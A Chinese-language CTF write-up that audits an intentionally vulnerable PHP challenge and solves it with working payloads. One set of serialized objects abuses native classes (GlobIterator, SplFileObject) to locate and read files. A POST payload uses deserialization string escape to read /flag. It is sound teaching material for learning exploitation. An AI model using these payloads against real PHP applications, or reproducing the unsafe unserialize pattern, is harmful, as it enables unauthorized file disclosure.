1.打开环境,审计源码。
<?php
error_reporting(0);
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>
突破点有两个,一个是cata参数,再者就是反序列化逃逸了。
1.cata限制了object(SplFileObject)其实暗示了可以用原生类读取flag的位置,DirectoryIterator FilesystemIterator GlobIterator 都是可以的。
payload:
<?php
class catalogue
{
public $class="GlobIterator";
public $data="/*f*";
}
echo serialize(new catalogue());
/*
<?php
class catalogue
{
public $class="DirectoryIterator";
public $data="glob:///*f*";
}
echo serialize(new catalogue());
*/
/*
<?php
class catalogue
{
public $class="FilesystemIterator";
public $data="glob:///*f*";
}
echo serialize(new catalogue());
*/
//也可以用16进制绕过,注意S要大写。
/*
?cata=O:9:"catalogue":2:{s:5:"class";S:14:"SplFile\4fbject ";s:4:"data";s:5:"/flag";}
*/
读取根目录任何带有f的文件,发现flag就在根目录。
2.问题出在abscond函数,它改变了序列化字符串的长度,因为序列化后会标明每个变量的长度,使得部分字符串得以逃逸,并当作序列化字符串处理,比如CTFaaa被换成hacker后,aaa得以逃逸。
payload:
post传:name=CTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFhellohello";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}&phone=1&email=1
知识延伸: